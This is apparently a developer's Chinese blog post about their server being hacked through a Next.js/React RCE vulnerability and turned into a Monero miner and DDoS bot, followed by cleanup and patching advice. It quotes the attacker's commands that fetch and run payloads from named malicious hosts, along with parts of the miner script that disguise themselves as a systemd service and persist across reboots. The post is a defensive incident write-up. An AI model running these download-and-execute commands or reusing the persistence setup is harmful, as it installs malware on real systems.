剛剛,我的服務器因為一個高危漏洞被入侵了,淪為了礦機!把我的經歷分享出來,希望更多程序員朋友們不要中招,抓緊預防處理。
事故現場
2025 年 12 月 5 日下午,騰訊雲給我發來一條安全告警通知,説我的業務存在 React/Next.js 遠程代碼執行(CVE-2025-55182/CVE-2025-66478)高危安全風險。

然後在當晚,騰訊雲就給我發了第二條通知,説是我的服務器上檢測到存在惡意文件,顯然是一個挖礦程序。

但很遺憾的是,昨天我正在老家處理事情,沒來得及看到這些通知,而且可氣的是,攻擊者專挑週五下班時間作案,所以我團隊同學也沒注意。
等到今天早上一睜眼,發現站內信全是告警,攻擊者在早上 6 點和 9 點又進行了幾次行動。這時我們團隊羣裏也已經炸鍋了,大家就一起排查處理。

首先我查看了前端項目的依賴管理文件 package.json:
{
"dependencies": {
"next": "15.3.3"
}
}
發現我編程導航訓練營項目使用的 Next.js 版本(15.3.3)正好在漏洞影響範圍內!

然後我查看了應用日誌 camp_codefather_cn.log,發現了很多線索,並配合騰訊雲主機安全提供的告警分析,還原了攻擊者的完整作案過程。

時間線如下:
📅 2025-12-05 19:59:42 【第一波攻擊】下載惡意腳本
📅 2025-12-05 20:04:00 【第二波攻擊】部署挖礦程序
📅 2025-12-06 06:13:43 【第三波攻擊】植入 DDoS 木馬
📅 2025-12-06 09:29:33 【第四波攻擊】運行內存木馬
📅 2025-12-06 09:42:00 【持續攻擊】嘗試建立後門
1、下載惡意腳本,部署挖礦程序
首先晚上 7 點 59 分,攻擊者利用 Next.js RSC 漏洞,通過發送特製的 HTTP POST 請求,執行命令下載了惡意腳本 sex.sh:
wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh
chmod +x sex.sh
./sex.sh
日誌記錄:
--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh
Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37
Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1619 (1.6K) [text/x-sh]
Saving to: 'sex.sh'
2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619]
從這裏能看出來,這個時候攻擊者已經可以通過 Next.js 的漏洞為所欲為了!
我下載了這個 sex.sh 腳本文件,帶大家 “鑑賞一下”。
首先攻擊者配置了挖礦參數,連接到攻擊者的礦池、使用攻擊者的門羅幣錢包,並偽裝成系統更新服務。
ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻擊者的錢包地址)"
SERVICE_NAME="system-update-service" # ⚠️ 偽裝成系統服務
然後偽裝成瀏覽器請求,從 GitHub 下載合法的 XMRig 挖礦軟件
curl -L -o kal.tar.gz \
--user-agent "Mozilla/5.0..." \ # ⚠️ 偽裝成瀏覽器
https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf kal.tar.gz
接下來創建系統服務,設置開機自啓、進程崩潰後自動重啓。也就是説,即使重啓服務器,木馬依然運行!
# 創建 systemd 服務
cat > /etc/systemd/system/system-update-service.service <<EOF
[Service]
ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ...
Restart=always # ⚠️ 崩潰後自動重啓
[Install]
WantedBy=multi-user.target # ⚠️ 開機自啓
EOF
systemctl enable system-update-service
systemctl start system-update-service
如果沒有 root 權限,會在後台運行挖礦程序,並重定向輸出到 /dev/null,不留日誌。
nohup /path/to/xmrig $ARGS >/dev/null 2>&1 &
完整代碼我分享到

我都忍不住讚美攻擊者了,這個程序寫得真不錯,短小凝練,不僅有隱蔽和偽裝、還考慮到了持久化和降級。

這段代碼執行完,我的服務器就已經髒了,挖礦程序開始在後台運行,持續消耗我的服務器資源為攻擊者挖取門羅幣。

2、植入 DDoS 木馬
然後是第二天早上 6 點多,攻擊者不講武德,給我的服務器植入了第二個惡意程序。
先看看日誌記錄:
--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2
Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219
Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371145 (1.3M) [application/octet-stream]
Saving to: '/tmp/nginx3'
2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145]
攻擊者通過 wget 下載了一個特製的 Nginx 網站服務器文件,還特意選擇了權限寬鬆的 /tmp 目錄。
wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2
chmod 777 /tmp/nginx3
/tmp/nginx3
根據安全報告,這是一個 DDoS 攻擊木馬類的惡意程序,可以把我的服務器變成太美的 “肉雞”,參與對其他服務器的 DDoS 攻擊。

不僅會消耗服務器的帶寬,還可能導致我的服務器 IP 被封;更嚴重的是,我有可能直接就參與網絡攻擊了?!
這難道就是傳説中的人在家中坐,鍋從天上來?

6 點我特麼還在牀上躺着流口水做夢呢,攻擊者努力得讓人心疼啊!
3、植入內存木馬
到了早上 9 點 29 分,攻擊者又發力了 ,又給我的服務器植入了一個木馬類的惡意程序 /dev/shm/java:

不過有點兒奇怪的是,這次的文件竟然已經被刪除掉了?
我才不相信攻擊者良心發現呢,我通過下列命令看了下進程:
ls -l /proc/*/exe | grep deleted
發現竟然有 4 個木馬進程同時運行!
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)
狠啊,真狠啊,1 個進程還不夠是吧?
我猜 “刪除文件” 是攻擊者為了 防止取證,讓文件運行在 Linux 的共享內存文件系統 /dev/shm 中,並且故意把文件刪除掉,讓 ls、find 等命令找不到它,但其實進程仍然在繼續運行,增加了取證排查的難度。
4、持續探測
上午 9 點 42 分,攻擊者又來了,這次是從一個波蘭的 IP 地址下載了一個程序,並賦予極高的訪問權限,然後還想遠程下載並執行另外一個遠程腳本。

很可惜我的服務器並沒有 busybox(嵌入式 Linux 常用的工具集),所以這次攻擊被阻止了:
/bin/sh: line 1: busybox: command not found
chmod: cannot access 'x86': No such file or directory
/bin/sh: line 1: ./x86: No such file or directory
但這也説明攻擊者在 持續嘗試 建立多重後門。真是喪盡天良,喪心病狂啊!
漏洞簡介
分享到這裏,想必大家已經感受到這次漏洞的危害了吧。
主要是 2 個遠程代碼執行漏洞:
-
CVE-2025-55182:React Server Components 遠程代碼執行漏洞
-
CVE-2025-66478:Next.js App Router 遠程代碼執行漏洞
據官方描述,在 React 的服務器組件庫中,由於 React 在解碼發送至服務器函數端點的請求負載時存在安全缺陷,導致未經身份驗證的遠程攻擊者可以通過 向任何服務器函數端點發送特製的惡意 HTTP 請求,當該請求被 React 反序列化處理時,即可 在服務器上實現遠程代碼執行,從而完全控制服務器。
這次漏洞的影響範圍很大,包括使用了 React 服務器組件的應用、使用了不安全版本的 Next.js 應用等等。注意,不僅僅是你自己開發的應用,如果你服務器上安裝了其他符合這些特徵的應用,一樣會中招!攻擊者是可以通過程序批量掃描這些應用的,發現一個攻擊一個。
你看漏洞是前兩天剛剛披露的,我這就中招了。我們團隊的小夥伴自己的服務器也中招了,他通過一個
開源的掃描工具:https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

好傢伙,幾乎沒有任何成本,就能為所欲為,植入後門、生產垃圾、拿來挖礦、盜取信息!
而且很多朋友可能沒有及時發現、或者不知道怎麼處理,就會一直被攻擊者當成礦工來利用。
如何處理?
如果條件允許的話,建議是立刻隔離服務器,防止被攻擊者拿來利用、植入更多惡意程序、或者獲取更多信息。
然後通過編寫 Linux 腳本來清理惡意文件:
注意,以下腳本僅供參考,實際以操作系統和攻擊情況為主,用 AI 生成即可
# 刪除整個挖礦目錄
rm -rf /www/wwwroot/xxx/xmrig-6.24.0/
rm -f /www/wwwroot/xxx/sex.sh
rm -f /www/wwwroot/xxx/kal.tar.gz
# 刪除 /tmp 下的惡意文件
rm -f /tmp/nginx3
rm -f /tmp/x86
光刪除文件還不夠,還要查找並終止所有惡意進程:
# 查找 xmrig 進程
ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep
# 查找可疑進程
ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep
# 查看被刪除但仍在運行的進程
ls -l /proc/*/exe 2>/dev/null | grep deleted
# 終止進程
kill -9 <PID>
最後,還要停止惡意的 systemd 服務:
# 查找可疑服務
systemctl list-units --type=service | grep -E "(update|system|miner|crypto)"
# 示例輸出
system-update-service.service loaded active running System Update Service
# 停止並禁用
systemctl stop system-update-service
systemctl disable system-update-service
# 刪除服務文件
rm -f /etc/systemd/system/system-update-service.service
# 重新加載
systemctl daemon-reload
當然,如果你的服務器上本來就沒什麼東西,也可以選擇簡單粗暴的方式,重裝系統!
不過最重要的是,要解決根本問題,把 Next.js 應用升級到安全版本。

最後
通過這次事故呢,我覺得多關注安全通告、做好服務器的安全監控還是非常重要的,要是沒有安全告警,可能幾個月都沒辦法意識到這些攻擊。
而且建議大家把應用盡量運行在非 root 權限下,儘可能減少風險。平時養成定期備份的習慣,出了問題即使重新安裝服務器,也不會造成數據丟失。
OK 就分享到這裏吧,如果你覺得本期內容有幫助,記得 轉發分享 給身邊的程序員朋友,讓他們儘快意識到並修復問題,不要再讓醜陋的、卑鄙的、老奸巨猾的攻擊者得逞了!